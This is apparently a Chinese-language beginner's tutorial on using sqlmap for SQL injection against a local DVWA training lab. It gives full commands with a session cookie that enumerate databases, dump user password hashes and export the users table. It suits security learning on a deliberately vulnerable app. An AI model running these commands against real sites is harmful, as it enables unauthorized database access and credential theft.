1. 程式人生 > >初使用sqlmap對dvwa進行sql注入

初使用sqlmap對dvwa進行sql注入

1.下載安裝dvwa,可以去此處下載:http://www.dvwa.co.uk/

2.需要安裝python執行環境,我使用的是python2.7,python2.7-3.0之間的應該都可以。

3.下載sqlmap包並將其解壓

4.直接cmd執行sqlmap,輸入sqlmap.py -h檢視幫助資訊

我在執行sqlmap的時候遇到了這麼一個問題,就是輸入sqlmap.py -[options]的時候它會報錯:

後來在網上找了一下資料,用python sqlmap.py -h執行就可以了。

接下來實際操作一下:

1.SQL Injection介面輸入 id為1,我們URL中可以看到這麼一個GET請求:http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#(級別設定為low);

我們用URL測試之後發現它是重定向至登入頁面,所以我們還需要獲取一下cookie,可以使用抓包工具檢視,也可以使用F12檢視

獲取cookie之後我們在看一下結果:

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch

此處,可以看到 id就是存在可以sql注入的引數。

2.檢視所有的資料庫;

python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch --dbs(dbs為所有資料庫)

3.檢視當前的資料庫名稱:

python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch --current-db

4.檢視資料庫中的所有使用者和密碼:

python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch --users --passwords

passsword hash: 顯示的雜湊密碼, clear_text password: 顯示的明文密碼

5.檢視資料裡的所有表

python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch -D dvwa --tables  

-D dvwa 是選擇資料庫

6.查看錶中的資料:

python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch -D dvwa -T users --columns

-T選擇資料表

7.將表中的資料進行到處並儲存

python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch -D dvwa -T users -C "user,password" --dump